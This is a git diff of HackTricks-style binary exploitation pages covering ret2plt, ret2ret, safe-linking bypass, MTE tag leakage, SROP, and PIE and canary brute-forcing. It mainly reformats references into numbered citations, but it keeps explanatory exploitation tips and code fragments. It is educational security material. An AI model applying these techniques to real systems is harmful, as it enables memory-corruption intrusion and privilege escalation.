-This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
+This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):[[5]](#references)
```python
# 32-bit ret2plt
@@ -34,7 +34,7 @@ Also note how the address of `main` is used in the exploit so when `puts` ends i
> [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first.
-You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
+You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:[[6]](#references)Full exploit example (ret2plt leak + system)
@@ -79,7 +79,7 @@ p.interactive()
## Modern considerations
-When a ret2plt leak works locally but fails remotely, the problem is often the **state of the GOT slot** or the **way the binary was linked**, not the core ret2plt idea itself.
+When a ret2plt leak works locally but fails remotely, the problem is often the **state of the GOT slot** or the **way the binary was linked**, not the core ret2plt idea itself.[[1]](#references)[[2]](#references)
- **Choose the leak target carefully**: with **lazy binding** (No/Partial RELRO), a symbol that has never been called yet may still have a GOT entry pointing back into the **PLT / dynamic resolver** instead of to libc. The safest targets are usually the **same** symbol you are invoking via the PLT (`puts@plt(puts@got)`) or another function that was already executed before the overflow (`puts`, `printf`, `setvbuf`, `alarm`, etc.).
- **`puts()` leaks are string-based**: on amd64 you often only recover the lower **6 bytes** before the first `\x00`, so a common parser is `u64(p.recvline()[:-1].ljust(8, b'\x00'))`.
@@ -105,16 +105,15 @@ payload = flat(
- **x86 CET / `-fcf-protection`**: if Shadow Stack is actually enforced, classic ret-based ret2plt chains need a **SHSTK bypass** first. IBT also requires indirect branches to land on valid targets. IBT-enabled toolchains generate compatible PLT entries, so the PLT is still a good indirect target, but it does **not** bypass SHSTK by itself.
- **AArch64 BTI / PAC-PLT**: modern AArch64 PLT entries are valid BTI landing pads (`bti c`) and may include `autia1716` when PAC-PLT is enabled. On BTI-protected binaries, prefer PLT entries or other BTI-compatible landing pads as indirect branch targets.
-## Other examples & References
+## References
-- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
+- [1] [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)
+- [2] [Ian – ret2plt: ASLR Bypass via PLT/GOT Leak](https://ian.nl/blog/ret2plt-advanced-aslr-bypass)
+- [3] [guyinatuxedo – CSAW Quals 2017 SVC (ret2plt leak + system)](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
-- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
+- [4] [guyinatuxedo – FB CTF 2019 Overfloat](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
-
-## References
-
-- [MaskRay – All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)
-- [Ian – ret2plt: ASLR Bypass via PLT/GOT Leak](https://ian.nl/blog/ret2plt-advanced-aslr-bypass)
+- [5] [ir0nstone – PLT and GOT (ret2plt payload)](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)
+- [6] [ir0nstone – ret2plt ASLR bypass (full example)](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
index a81923e284e..d13c6bb5568 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2ret.md
@@ -56,11 +56,11 @@ For each candidate pointer, quickly check whether `ptr & ~0xff` would fall insid
- The classic PoCs jump to **shellcode**, so **NX** will break that exact ending unless the landing region is executable.
- If the binary is **PIE**, even the `ret` gadget used for the RET sled is randomized, so you usually need a **leak**, a **non-PIE code page**, or enough brute-force margin.
- Optimized builds can noticeably change the stack layout, so always re-check the **real runtime stack** instead of assuming the same candidate pointers exist across builds.
-- Recent research such as **BadASLR** shows that the same low-byte / null-poisoning idea is still relevant on modern targets, but many real exploits now repurpose it into a **stack pivot** or overlap primitive instead of ending directly in classic stack shellcode.
+- Recent research such as **BadASLR** shows that the same low-byte / null-poisoning idea is still relevant on modern targets, but many real exploits now repurpose it into a **stack pivot** or overlap primitive instead of ending directly in classic stack shellcode.[[2]](#references)
If the null-byte corruption gives you a **saved frame-pointer / stack-pivot** primitive instead of a useful in-frame pointer, check [stack pivoting](../../stack-overflow/stack-pivoting.md). If you already know a stable register-based dispatcher such as `jmp esp` / `jmp rsp`, check [ret2esp & ret2reg](../../rop-return-oriented-programing/ret2esp-ret2reg.md).
-Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.
+Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit.[[1]](#references)
## Ret2pop
@@ -76,11 +76,11 @@ This way:
This is especially nice when the stack already contains something like a pointer to **`argv[1]`**, an environment string, or another attacker-controlled buffer and you want to keep that pointer exact.
-Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) the exploit.
+Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) the exploit.[[1]](#references)
## References
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
-- [https://pwnlab.kr/downloads/badaslr.pdf](https://pwnlab.kr/downloads/badaslr.pdf)
+- [1] [florianhofhammer – Stack buffer overflow internship notes (ASLR Smack & Laugh / ret2ret & ret2pop)](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
+- [2] [BadASLR (pwnlab)](https://pwnlab.kr/downloads/badaslr.pdf)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
index 3c8132ca14d..9199edaacf9 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md
@@ -44,7 +44,7 @@ Pointer mangling aims to **prevent partial and full pointer overwrites in heap**
### **Safe-Linking Bypass (page-aligned leak scenario)**
-Even with safe-linking enabled (glibc ≥ 2.32), if you can leak the mangled pointer and both the corrupted chunk and victim chunk share the same 4KB page, the original pointer can be recovered with just the page offset:
+Even with safe-linking enabled (glibc ≥ 2.32), if you can leak the mangled pointer and both the corrupted chunk and victim chunk share the same 4KB page, the original pointer can be recovered with just the page offset:[[1]](#references)
```c
// leaked_fd is the mangled Fd read from the chunk on the same page
@@ -65,7 +65,7 @@ The formula used for mangling and demangling pointers is:
**`New_Ptr = (L >> 12) XOR P`**
-Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
+Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.[[3]](#references)
**Key Steps in the Algorithm:**
@@ -92,11 +92,12 @@ Pointer guard is an exploit mitigation technique used in glibc to protect stored
## GLIBC Tunables & Recent Loader Bugs
-The dynamic loader parses `GLIBC_TUNABLES` before program startup. Mis-parsing bugs here directly affect **libc** before most mitigations kick in. The 2023 "Looney Tunables" bug (CVE-2023-4911) is an example: an overlong `GLIBC_TUNABLES` value overflows internal buffers in `ld.so`, enabling **privilege escalation** on many distros when combined with SUID binaries. Exploitation requires only crafting the environment and repeatedly invoking the target binary; pointer guard or safe-linking do not prevent it because corruption happens in the loader prior to heap setup.
+The dynamic loader parses `GLIBC_TUNABLES` before program startup. Mis-parsing bugs here directly affect **libc** before most mitigations kick in. The 2023 "Looney Tunables" bug (CVE-2023-4911) is an example: an overlong `GLIBC_TUNABLES` value overflows internal buffers in `ld.so`, enabling **privilege escalation** on many distros when combined with SUID binaries. Exploitation requires only crafting the environment and repeatedly invoking the target binary; pointer guard or safe-linking do not prevent it because corruption happens in the loader prior to heap setup.[[2]](#references)
## References
-- [Safe-Linking bypass explanation (shellphish/how2heap)](https://deepwiki.com/shellphish/how2heap/5.2-safe-linking-bypass)
-- [Looney Tunables (CVE-2023-4911) write-up](https://www.wiz.io/vulnerability-database/cve/cve-2023-4911)
+- [1] [Safe-Linking bypass explanation (shellphish/how2heap)](https://deepwiki.com/shellphish/how2heap/5.2-safe-linking-bypass)
+- [2] [Looney Tunables (CVE-2023-4911) write-up](https://www.wiz.io/vulnerability-database/cve/cve-2023-4911)
+- [3] [Analysis of Malloc Protections on Singly Linked Lists (Maxwell Dulin)](https://maxwelldulin.com/BlogPost?post=5445977088)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index 1da55b80edc..c8f95d8ceae 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -117,7 +117,7 @@ When a **mismatch is detected** the kernel may **panic** or at least kill the cu
## Exploit-Relevant Debugging Primitives
-Linux exposes several interfaces that are very useful both for defenders and for attackers building local PoCs:
+Linux exposes several interfaces that are very useful both for defenders and for attackers building local PoCs:[[1]](#references)
- **`PTRACE_PEEKMTETAGS` / `PTRACE_POKEMTETAGS`** let a tracer read or write allocation tags in a tracee.
- A thread can temporarily disable checking for its own accesses with **`PSTATE.TCO`**. This is not a pre-exploitation bypass by itself, but it matters once you already have controlled execution in the compromised thread.
@@ -137,7 +137,7 @@ This is especially relevant for browser, IPC and kernel exploits where the attac
### Speculative Tag Leakage (TikTag)
-*TikTag* (2024) demonstrated two speculative execution gadgets (**TIKTAG-v1/v2**) able to leak the 4-bit allocation tag of arbitrary addresses with **>95% success** in **less than 4 seconds**. The key idea is to speculatively trigger a tag-checked access, use a cache side channel to learn whether the access matched, and iterate over candidate tags until the correct one is recovered.
+*TikTag* (2024) demonstrated two speculative execution gadgets (**TIKTAG-v1/v2**) able to leak the 4-bit allocation tag of arbitrary addresses with **>95% success** in **less than 4 seconds**. The key idea is to speculatively trigger a tag-checked access, use a cache side channel to learn whether the access matched, and iterate over candidate tags until the correct one is recovered.[[2]](#references)
That result is important because it upgrades MTE from a **probabilistic mitigation** to something an attacker may **systematically derandomize**:
@@ -150,7 +150,7 @@ The paper demonstrates this against **Google Chrome** and the **Linux kernel**.
## References
-- [Memory Tagging Extension (MTE) in AArch64 Linux](https://docs.kernel.org/arch/arm64/memory-tagging-extension.html)
-- [TikTag: Breaking ARM's Memory Tagging Extension with Speculative Execution](https://arxiv.org/abs/2406.08719)
+- [1] [Memory Tagging Extension (MTE) in AArch64 Linux](https://docs.kernel.org/arch/arm64/memory-tagging-extension.html)
+- [2] [TikTag: Breaking ARM's Memory Tagging Extension with Speculative Execution](https://arxiv.org/abs/2406.08719)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
index d9f241d95a9..4335ab177fa 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md
@@ -37,7 +37,7 @@ The workflow is usually: (1) leak a code or libc pointer through an info leak, (
### Sigreturn Oriented Programming (SROP)
-SROP builds a fake `sigframe` on a writable page and pivots execution to `sys_rt_sigreturn` (or the relevant ABI equivalent). The kernel then “restores” the crafted context, instantly granting full control over all general-purpose registers, `rip`, and `eflags`. Recent CTF challenges (e.g., the *Hostel* task in n00bzCTF 2023) show how SROP chains first invoke `mprotect` to flip the stack to `RWX`, then reuse the same stack for shellcode, effectively bypassing NX even when only a single `syscall; ret` gadget is available. Check the dedicated [SROP page](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) for more architecture-specific tricks.
+SROP builds a fake `sigframe` on a writable page and pivots execution to `sys_rt_sigreturn` (or the relevant ABI equivalent). The kernel then “restores” the crafted context, instantly granting full control over all general-purpose registers, `rip`, and `eflags`. Recent CTF challenges (e.g., the *Hostel* task in n00bzCTF 2023) show how SROP chains first invoke `mprotect` to flip the stack to `RWX`, then reuse the same stack for shellcode, effectively bypassing NX even when only a single `syscall; ret` gadget is available.[[2]](#references) Check the dedicated [SROP page](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) for more architecture-specific tricks.
### Ret2mprotect / ret2syscall to flip permissions
@@ -55,7 +55,7 @@ The same idea applies to `ret2syscall` chains that set `rax=__NR_mprotect`, poin
### RWX primitives from JIT engines and kernels
-JIT engines, interpreters, GPU drivers, and kernel subsystems that dynamically emit code are a common way to regain executable memory even under strict NX policies. The 2024 Linux kernel vulnerability **CVE-2024-42067** showed that failures in `set_memory_rox()` left eBPF JIT pages writable *and* executable, letting attackers spray gadgets or entire shellcode blobs inside the kernel despite NX/W^X expectations. Exploits that gain control over a JIT compiler (BPF, JavaScript, Lua, etc.) can therefore arrange for their payload to live in those RWX arenas and only need a single function pointer overwrite to jump into them.
+JIT engines, interpreters, GPU drivers, and kernel subsystems that dynamically emit code are a common way to regain executable memory even under strict NX policies. The 2024 Linux kernel vulnerability **CVE-2024-42067** showed that failures in `set_memory_rox()` left eBPF JIT pages writable *and* executable, letting attackers spray gadgets or entire shellcode blobs inside the kernel despite NX/W^X expectations.[[1]](#references) Exploits that gain control over a JIT compiler (BPF, JavaScript, Lua, etc.) can therefore arrange for their payload to live in those RWX arenas and only need a single function pointer overwrite to jump into them.
### Non-return code reuse (JOP/COP)
@@ -67,7 +67,7 @@ If `ret` instructions are hardened (e.g., CET/IBT) or the binary lacks expressiv
## References
-- [CVE-2024-42067 - Linux kernel eBPF JIT set\_memory\_rox failure](https://nvd.nist.gov/vuln/detail/CVE-2024-42067)
-- [n00bzCTF 2023 - Hostel (SROP) writeup](https://ctftime.org/writeup/37315)
+- [1] [CVE-2024-42067 - Linux kernel eBPF JIT set\_memory\_rox failure](https://nvd.nist.gov/vuln/detail/CVE-2024-42067)
+- [2] [n00bzCTF 2023 - Hostel (SROP) writeup](https://ctftime.org/writeup/37315)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
index e95e9ef78ec..a73c9edf819 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
@@ -6,7 +6,7 @@
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
-The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
+The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.[[1]](#references)
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
@@ -24,11 +24,11 @@ In order to bypass PIE it's needed to **leak some address of the loaded** binary
bypassing-canary-and-pie.md
{{#endref}}
-- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/index.html) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/index.html) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).[[1]](#references)
## References
-- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
+- [1] [ir0nstone Notes - PIE (Position Independent Executable)](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
index 7dfd045c56c..fefabc9563d 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md
@@ -13,7 +13,7 @@
## Brute-Force Addresses
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
-For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
+For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**[[1]](#references)
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
@@ -102,7 +102,7 @@ page_base = RIP - (RIP & 0xfff)
## Improvements
-Blindly treating **"no crash"** as **"correct byte"** is fragile for saved `RBP` and saved `RIP` values. In practice, the following tweaks make this attack much more reliable:
+Blindly treating **"no crash"** as **"correct byte"** is fragile for saved `RBP` and saved `RIP` values. In practice, the following tweaks make this attack much more reliable:[[2]](#references)
- **Use timeouts for saved `RBP` guesses**: a wrong value used by `leave; ret` may survive longer than a bad canary or a bad return address, so remote targets usually need a larger timeout than local tests.
- **Introduce a short delay between probes**: sending requests too quickly can leave many workers/processes around, fill memory, or accumulate `TIME_WAIT` sockets, creating false positives unrelated to the guessed byte.
@@ -112,7 +112,7 @@ Blindly treating **"no crash"** as **"correct byte"** is fragile for saved `RBP`
## References
-- [https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/ripe_reader/README.md](https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/ripe_reader/README.md)
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking)
+- [1] [datajerk - NahamCon CTF 2020: ripe_reader writeup](https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/ripe_reader/README.md)
+- [2] [florianhofhammer - Stack buffer overflow internship notes: extended brute-force leaking](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
index c0a2812e0ac..6d4d862fbad 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/relro.md
@@ -96,14 +96,14 @@ The challenge shipped with Full RELRO. The exploit used an **off-by-one** to co
## Recent research & vulnerabilities (2022-2025)
-* **glibc hook removal (2.34 → present)** – malloc/free hooks were extracted from the main libc into the optional `libc_malloc_debug.so`, eliminating a common Full‑RELRO bypass primitive; modern exploits must target other writable pointers.
-* **GNU ld RELRO page‑alignment fix (binutils 2.39+/2.41)** – linker bug 30612 caused the last bytes of `PT_GNU_RELRO` to share a writable page on 64 KiB page systems; current binutils aligns RELRO to `max-page-size`, closing that “RELRO gap”.
+* **glibc hook removal (2.34 → present)** – malloc/free hooks were extracted from the main libc into the optional `libc_malloc_debug.so`, eliminating a common Full‑RELRO bypass primitive; modern exploits must target other writable pointers.[[1]](#references)
+* **GNU ld RELRO page‑alignment fix (binutils 2.39+/2.41)** – linker bug 30612 caused the last bytes of `PT_GNU_RELRO` to share a writable page on 64 KiB page systems; current binutils aligns RELRO to `max-page-size`, closing that “RELRO gap”.[[2]](#references)
---
## References
-* [Why malloc hooks were removed from glibc](https://developers.redhat.com/articles/2021/08/25/securing-malloc-glibc-why-malloc-hooks-had-go)
-* [Binutils bug 30612 – RELRO end alignment](https://lists.gnu.org/archive/html/bug-binutils/2023-08/msg00305.html)
+- [1] [Why malloc hooks were removed from glibc](https://developers.redhat.com/articles/2021/08/25/securing-malloc-glibc-why-malloc-hooks-had-go)
+- [2] [Binutils bug 30612 – RELRO end alignment](https://lists.gnu.org/archive/html/bug-binutils/2023-08/msg00305.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
index 36da583ff02..51cf64c5baf 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
@@ -29,7 +29,7 @@ In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst thre
## Bypasses
-**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
+**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.[[1]](#references)
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
@@ -60,21 +60,22 @@ A buffer **overflow in a threaded function** protected with canary can be used t
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
-This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)[[2]](#references)
-Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
+Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.[[4]](#references)
- **Modify the GOT entry of `__stack_chk_fail`**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
-This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
+This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)[[3]](#references)
## References
-- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
-- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-- [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
+- [1] [Nightmare - 7.1 Mitigation: Stack Canary](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
+- [2] [HTB Robot Factory - Canaries and Threads (7rocky)](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+- [3] [Securinets CTF - Scrambler (7rocky)](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
+- [4] [Master Canary Forging - Yuki Koike (CODE BLUE 2015)](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index bea2e6766aa..f05d9b6f4a9 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -62,7 +62,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
-Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
+Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.[[1]](#references)
```python
from pwn import *
@@ -111,14 +111,16 @@ Threads of the same process will also **share the same canary token**, therefore
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
-This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)[[2]](#references)
-Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
+Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.[[3]](#references)
-## Other examples & references
+## References
-- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
+- [1] [Nightmare - DEF CON Quals 2016 feedme (guyinatuxedo)](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
